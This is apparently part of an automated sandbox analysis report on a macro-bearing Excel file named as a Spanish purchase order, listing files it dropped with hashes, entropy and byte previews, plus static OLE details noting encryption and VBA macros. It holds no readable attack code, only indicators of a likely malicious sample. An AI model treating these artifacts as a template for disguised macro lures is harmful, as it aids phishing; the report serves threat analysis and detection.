C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3F3752BC.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	948620
Entropy (8bit):	4.308104859995891
Encrypted:	false
SSDEEP:	6144:umzSMB4vzO9MUsuURqajdMipDi653G7GfuW8FDrvwS:1mMuLedbURLxFvd5fuX
MD5:	1405DCFBE59AB0F93D52E9B631ECC891
SHA1:	A46AC91C3242185E1A44CF4D80EA85DE53EB014C
SHA-256:	414D28D18FD94BC1E4E95696EDD966AECA63DBD6FCE6CB0D9991EB6E26481185
SHA-512:	756EECCEAD4149086E852471CCFEA20FCB2338A5CC4F628D8AA3D9553D97BEE8931462E534CC72709815805B2D10E6EF541EA0CF53E9555AA076F870AEE6D705
Malicious:	false
Preview:	....l............................`..... EMF.....y..G...0.......................S......................U"..F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........!......."...........!......."...........................!.......%.......................................................................%...........%...........K..............."...........!.......................................................K..............."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.............L...d.......1.......Z.......1.......*...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\55221B8D.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1505804
Entropy (8bit):	2.2724441801037254
Encrypted:	false
SSDEEP:	1536:lQrhWbHXoBJInW1hks7zUqyff15T8BPYI2qvERw/PbKFyjkjzOHK:ZXo7eTyPYI2qMW8
MD5:	BD7348432D730D0E598D73B7E5CF57D2
SHA1:	37368BC098DF63863ED9633F6A22BBD9E9F02EF5
SHA-256:	7D7E6E348B2712249BD4EF777A83EF491F43356FE0F79FA33122DC668C8D934B
SHA-512:	107E24F5A7C2775E5FA3828112A693601A5F5C30BB33C21FB934FF8F28EE79F3498C977A52958B58DB3F719112C6887D6C21F22D4A557D62AC1A937B651C9947
Malicious:	false
Preview:	....l...........R...I............)...;.. EMF................................8...X....................?...........................................)...;..........S...J...Q...P...........R...I...................S...J...P...(...x........... ....)...;..(...S...J.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8A4F83B1.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1505804
Entropy (8bit):	2.2724441801037254
Encrypted:	false
SSDEEP:	1536:lQrhWbHXoBJInW1hks7zUqyff15T8BPYI2qvERw/PbKFyjkjzOHK:ZXo7eTyPYI2qMW8
MD5:	BD7348432D730D0E598D73B7E5CF57D2
SHA1:	37368BC098DF63863ED9633F6A22BBD9E9F02EF5
SHA-256:	7D7E6E348B2712249BD4EF777A83EF491F43356FE0F79FA33122DC668C8D934B
SHA-512:	107E24F5A7C2775E5FA3828112A693601A5F5C30BB33C21FB934FF8F28EE79F3498C977A52958B58DB3F719112C6887D6C21F22D4A557D62AC1A937B651C9947
Malicious:	false
Preview:	....l...........R...I............)...;.. EMF................................8...X....................?...........................................)...;..........S...J...Q...P...........R...I...................S...J...P...(...x........... ....)...;..(...S...J.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\90CB35FE.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	172076
Entropy (8bit):	3.1342558498505824
Encrypted:	false
SSDEEP:	1536:7DqEuvAIid/aQGb1BfUErpxTORWEl+tIL22EZCd:iEuWd/adDrvTUP22Bd
MD5:	D85DAC1376E45C58F790BD50C2729F6C
SHA1:	5BD339C54A944689935652E4A1CC78961EB19589
SHA-256:	CE5CF5334F2BF26B0B3F4B135B2BEA9126CB29DD1C5BED1F558FAA2BFE4C8E48
SHA-512:	6B864B3E47331C5C37376B1F9ED7FE1F8D48BE27438DE9C4D7BA3B3ED6ED3F319425E8D696B51C7969AD3C10A7285D7212E59FDDAC8385BCD992A03EF189789A
Malicious:	false
Preview:	....l..............................eQ.. EMF....,.......$...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................L...d...........T...)..............."...!..............?...........?................................'.......................%...................................&...........................%.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\97A2F1E7.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	948692
Entropy (8bit):	4.308190248070097
Encrypted:	false
SSDEEP:	6144:5MzSMB4vzO9MUsuURqajdMipDi653v7GfuW8RDrvwPn:WmMuLedbURLxFvd6fuCn
MD5:	F4B1D19C80ECD4550028AA5EEF90A3C8
SHA1:	42F521B4CA6442B1D1DD5761327A563E2C6FB634
SHA-256:	39EE4B95DDDFEE3FEC9A5C1ACA9ED0AD53E42C817F7EB7B37127BB43ECEABDA7
SHA-512:	FF3C18E0C4DFDDDE7886B3C2D394DEDD8C83E67677F8AD9A5D96D6506201B93BFCBE298A21DAD68B49362004EEE81E23B951C2E2C01DCBD091BF0C0D6DD046BE
Malicious:	false
Preview:	....l............................`..... EMF.....y..M...0.......................S......................U"..F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........!......."...........!......."...........................!.......%.......................................................................%...........%...........K..............."...........!.......................................................K..............."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.............L...d.......1.......Z.......1.......*...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9A7A942A.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	948620
Entropy (8bit):	4.307115259832681
Encrypted:	false
SSDEEP:	6144:ib4HzSMB4vzO9MUsuURqajdMipDi653t7GfuW8rDrvwD:hmMuLedbURLxFvd0fus
MD5:	12948D0366DB5F6EE5E90F215B7F9EB1
SHA1:	C7FB06E1B6288164535735ED8822DE527AAB7497
SHA-256:	81418C201F3F5BD0CAFD88C24F244226BE08E556728ED7DB46FA1B873D8F32FE
SHA-512:	737D673BC5CC5370D87D349F42B787D16D019F3AFE4439AB4C4768F22DBF7F9342CCFDF11670AB9A9BB0BC239AD6B2A27287F702391AE343FF7FF4A86C0A69E2
Malicious:	false
Preview:	....l............................`..... EMF.....y..G...0.......................S......................U"..F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........!......."...........!......."...........................!.......%.......................................................................%...........%...........K..............."...........!.......................................................K..............."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.............L...d.......1.......Z.......1.......*...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9E74D670.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	3327384
Entropy (8bit):	2.7194669496410246
Encrypted:	false
SSDEEP:	3072:Z7a8PzoHivajYI2qoWdBXo7eTyPYI2qMWyE7jd/adDrvTUrUI+OZurZU:IYIivajYI2qoWdBceTyPYI2qMWKDrvwN
MD5:	C4DD0C2444A30BE763E47115953CFA07
SHA1:	99F7022CDE8F26C055FBFEA8B2584D1F8A270D03
SHA-256:	A1E1DA1D0DED40817B1EAA5BA87075214130D7594F8A1AA77A322D93BB934567
SHA-512:	00080B200C5FA765FB149EF77D51094CD000E87E3666D5E3BA898FE125AF784DF7893CA7AC65746EB7BCBC01E724FA3E43D9D7C3A712038EF33F1CE91C5A04B6
Malicious:	false
Preview:	....l............................S...".. EMF......2.D...-...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......<.......m.......<.......2...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C06DA329.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	948620
Entropy (8bit):	4.307115259832681
Encrypted:	false
SSDEEP:	6144:ib4HzSMB4vzO9MUsuURqajdMipDi653t7GfuW8rDrvwD:hmMuLedbURLxFvd0fus
MD5:	12948D0366DB5F6EE5E90F215B7F9EB1
SHA1:	C7FB06E1B6288164535735ED8822DE527AAB7497
SHA-256:	81418C201F3F5BD0CAFD88C24F244226BE08E556728ED7DB46FA1B873D8F32FE
SHA-512:	737D673BC5CC5370D87D349F42B787D16D019F3AFE4439AB4C4768F22DBF7F9342CCFDF11670AB9A9BB0BC239AD6B2A27287F702391AE343FF7FF4A86C0A69E2
Malicious:	false
Preview:	....l............................`..... EMF.....y..G...0.......................S......................U"..F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........!......."...........!......."...........................!.......%.......................................................................%...........%...........K..............."...........!.......................................................K..............."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.............L...d.......1.......Z.......1.......*...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........

C:\Users\user\AppData\Local\Temp\A219D2E6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	2.7151910322565733
Encrypted:	false
SSDEEP:	24:J3fIxk+vpKAk6ScvoGA8xpiOnAvJ5yoIHWK:h3+RfkpcvoGAYcvJ5LIHD
MD5:	92A7E6E963E0E668F6585E8694F68380
SHA1:	9CFB8F0EA9A80C54FEBF664E2E8DA3A20C6F5DAE
SHA-256:	F09EE04026948847263A11CC3D3276A676246EF074A985681DBEF03D76801482
SHA-512:	F3E94DC16458B4CE76A18D44360256A233CDF918A34FDB0AB3A85AF5FA3ADEB8B0BBB173CE658D8344939FE77AEB467C04D111A887424A65BA2833897DE3F4E2
Malicious:	false
Preview:	1.1.9.,.1.2.5.,.2.5.5.0.5.0.8.8.,.1.1.9.6.3.7.8.,.3.7.4.6.3.7.6.,.1.7.8.8.6.5.8.,.7.0.0.9.9.8.4.,.3.0.0.4.9.2.6.8.,.;.3.2.9.4.5.8.7.9.9.,.3.7.4.6.3.7.8.,.2.3.7.1.6.5.1.,.6.3.6.4.3.3.4.,.3.0.1.5.3.7.2.1.,.1.1.1.1.,.6.3.6.4.3.3.7.,.1.0.0.1.,.6.5.4.0.2.1.5.,.4.0.6.9.3.5.8.2.,.1.0.4.9.5.2.3.4.,.2.4.6.0.9.2.5.8.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.6.3.7.1.6.9.4.,.2.7.1.5.3.4.9.7.,.5.9.2.2.3.4.2.3.,.1.5.6.1.9.5.8.,.5.7.9.9.9.6.6.1.,.5.8.4.2.5.8.6.0.,.2.7.3.6.0.0.9.5.,.6.3.0.6.3.0.9.9.,.6.3.6.4.3.3.0.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.1.6.5.7.4.5.3.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.2.,.1.0.6.9.5.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.7.7.1.6.5.7.,.1.3.5.2.5.8.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.3.2.0.5.9.2.7.6.7.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.1.1.9.6.2.9.3.,.

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-29 15-38-16-661.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	16605
Entropy (8bit):	5.337552264308893
Encrypted:	false
SSDEEP:	384:CJ7kDNKTup465OR2TTx7Jb6nXs9XD+KBTcK+UIU5zCYXxr+FrWe/zZYpAe4mQ9Nd:uXHP
MD5:	DBFBE7559552D61E2431FAA8FCEF09F2
SHA1:	85A73E33F769F120095B59272FCAFAA0F323BFB8
SHA-256:	50FB7A74C2152A1BCBF502A85D6201EB5BCB0CE9ED31D1C25A7E0D812628C707
SHA-512:	52C03CFC4CC103B6E6EF8DF7FBF10006098641182E2E35914F8EE16C5F777E3813877DA2CA6EFFDBB65BC909FF78E2B34B5DC98E4071B71E1E927CD5293392B4
Malicious:	false
Preview:	SessionID=8ee08ace-ec0b-4dd3-9d14-6e1883721588.1730230696675 Timestamp=2024-10-29T15:38:16:675-0400 ThreadID=7944 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8ee08ace-ec0b-4dd3-9d14-6e1883721588.1730230696675 Timestamp=2024-10-29T15:38:16:677-0400 ThreadID=7944 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8ee08ace-ec0b-4dd3-9d14-6e1883721588.1730230696675 Timestamp=2024-10-29T15:38:16:677-0400 ThreadID=7944 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8ee08ace-ec0b-4dd3-9d14-6e1883721588.1730230696675 Timestamp=2024-10-29T15:38:16:677-0400 ThreadID=7944 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8ee08ace-ec0b-4dd3-9d14-6e1883721588.1730230696675 Timestamp=2024-10-29T15:38:16:677-0400 ThreadID=7944 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29845
Entropy (8bit):	5.398972635984926
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rV:o+
MD5:	47EFA1003D3EBE35D0668ACD254632AB
SHA1:	A367259D712CDCBA4E076F46BE953E613683B240
SHA-256:	8E61656A5A2A506BDBE382E5F80B5D3EFB629918B2F2B12E79A19D573BBF377A
SHA-512:	CB8F223A041A0A81A98291D0EE089D0E638F5F37A635DC1D58D834C226842EF9F302A5C3EE98FEFA07F0072511E5718A5C467CB9C759144CF0E8916E6197D23C
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\~DF6E0CF93AFE98D265.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD4C805AC66230DA2.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	832000
Entropy (8bit):	7.979933967485186
Encrypted:	false
SSDEEP:	24576:ytbquhd/FDKuSPZ9exBpCA2tI0+F6aNUdH:58zwAxBpM3+F6aNQ
MD5:	089E89186512535D781C67BED0DFC87E
SHA1:	84324B28100C15E55CDF94E8412670EBEB88E1BE
SHA-256:	5EDAC2CF1A2C481AC04933D4FF8D29D8E828148173BB12B3778EBEF86B47BEAE
SHA-512:	39915D1A78036EF326EB7FFD5D6739D236A756E79D938B2807683B01CC2C3DA5AD20F742F97323E5C43BA2988632004E3F846E34D59175F4373EB7801D1A9956
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DFDE4B543ED02937AC.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	835584
Entropy (8bit):	7.950093214228605
Encrypted:	false
SSDEEP:	24576:utbquhd/FDKuSPZ9exBpCA2tI0+F6aNUdH:F8zwAxBpM3+F6aNQ
MD5:	DDCCE9FBC27D2E78F964C7C232193D77
SHA1:	4ABF70C0746CDEDA741A7C6CE9BD9CEDE84F1406
SHA-256:	4E799AC406348CB8BC3BD719CE25DB8AB752CD4EA45C85C940B65804F3D09D53
SHA-512:	726DDDD5F97D789F565FA1F382FD9312395ED682C86C8FCB2A922698EA59AD443A29E1F9E270B7FA655CE58A34060B1E7BC7008B029CAF557CF0500EEE9A6CE1
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\B0D30000

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 29 19:38:18 2024, Security: 1
Category:	dropped
Size (bytes):	1099264
Entropy (8bit):	7.985065957456473
Encrypted:	false
SSDEEP:	24576:etbquhd/FDKuSPZ9exBpCA2tI0+F6aNUdHloPomXNjLLv:V8zwAxBpM3+F6aNQFoPnXF
MD5:	4A697DC847280C49AA40DE61EFDCD9AB
SHA1:	ED8CFF5CA96A2F4DE816D36D86F5D969E6CADECA
SHA-256:	F28C66970844A8E06DEFB2BE313497FB41389517FE72DF4706C33698C23CCECB
SHA-512:	04506A8B5EB74E256A00E72E91A5DABE89A36E256A60DCF6ED33A58A321093B62DE7EE9B83E410605AD8436E46B54EE594696DB9E97A6C4F1CDF69769C31EBC5
Malicious:	false
Preview:	......................>...................................O...................................................................r.......t...............................................................................................................................................................................................................................................................................................................................................................................................a................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\B0D30000:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\NUEVA ORDEN DE COMPRA 73244.xla.xls (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 29 19:38:18 2024, Security: 1
Category:	dropped
Size (bytes):	1099264
Entropy (8bit):	7.985065957456473
Encrypted:	false
SSDEEP:	24576:etbquhd/FDKuSPZ9exBpCA2tI0+F6aNUdHloPomXNjLLv:V8zwAxBpM3+F6aNQFoPnXF
MD5:	4A697DC847280C49AA40DE61EFDCD9AB
SHA1:	ED8CFF5CA96A2F4DE816D36D86F5D969E6CADECA
SHA-256:	F28C66970844A8E06DEFB2BE313497FB41389517FE72DF4706C33698C23CCECB
SHA-512:	04506A8B5EB74E256A00E72E91A5DABE89A36E256A60DCF6ED33A58A321093B62DE7EE9B83E410605AD8436E46B54EE594696DB9E97A6C4F1CDF69769C31EBC5
Malicious:	false
Preview:	......................>...................................O...................................................................r.......t...............................................................................................................................................................................................................................................................................................................................................................................................a................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\~$NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	true
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 29 15:41:55 2024, Security: 1
Entropy (8bit):	7.982726640542953
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	NUEVA ORDEN DE COMPRA 73244.xla.xlsx
File size:	1'227'776 bytes
MD5:	49aab4d665769ec8184e6bac6da8183f
SHA1:	350bec361d188495922f12c493ba7e806c2d89ff
SHA256:	2861d1f7642e8d2bae9122936b7c38a4d53faa9d3c267dc4a46054f54387da6c
SHA512:	b9b65a1edc698c4f1d91deeb384359f0808c36b82f8f928f38a3e0884436d8ac467286dd002180d041917cdba8a165d27c59ac2b7dd2db649ae19c59a4999073
SSDEEP:	24576:/1852p5l2QsykgMpRptnPskUcZnujKsUfc27W:/1O2p5l2pFpB0kUcIWf
TLSH:	EE452305F98ACF4ADF637C3642A8C7820729FE01AF15E1833A92734C69769B513A735D
File Content Preview:	........................>...............................................................................................................\|.......~..............................................................................................................

File Icon


Icon Hash:	35e58a8c0c8a85b9

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "NUEVA ORDEN DE COMPRA 73244.xla.xlsx"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-10-29 15:41:55
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . d F . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
